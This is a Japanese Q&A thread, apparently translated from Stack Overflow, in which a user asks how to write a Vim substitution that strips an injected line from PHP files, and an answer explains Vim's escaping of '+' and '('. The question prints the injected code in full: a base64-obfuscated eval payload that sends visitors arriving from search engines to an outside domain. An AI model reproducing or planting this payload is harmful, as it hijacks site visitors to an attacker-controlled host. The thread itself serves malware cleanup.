4

phpファイルに次のコードがあります。

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9ydW56b3IuZG5zcmQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

VIMを開いて、を実行0,$s/eval(.+;//gcしてすべてのインスタンスを削除しようとしましたが、VIMにパターンが見つかりませんと表示されます。正しい表現は何ですか?

注-私のコメントによると、私も試しましたが0,$s/eval\(.+;//gc、VIMは文句を言いましたE54: Unmatched \( E476: Invalid command

私も試し0,$s/eval\(.\+;//gcてみましたE54: Unmatched \( E476: Invalid command

4

1 に答える 1

8

Vimでは、他のほとんどの場所とは異なり、一部のメタ文字は、リテラルとしてエスケープするのではなく、メタ文字として使用するためにエスケープする必要があります。したがって、前の1つ以上に一致する+ようにエスケープする必要があります。\+

0,$s/eval(.\+;//gc

上記はテストされ、PHPスニペットで動作します。

編集:申し訳ありませんが、以前のバージョンでは、リテラルとしてエスケープ解除する必要がある\(場所に誤りがありました。(

于 2012-11-22T14:12:56.750 に答える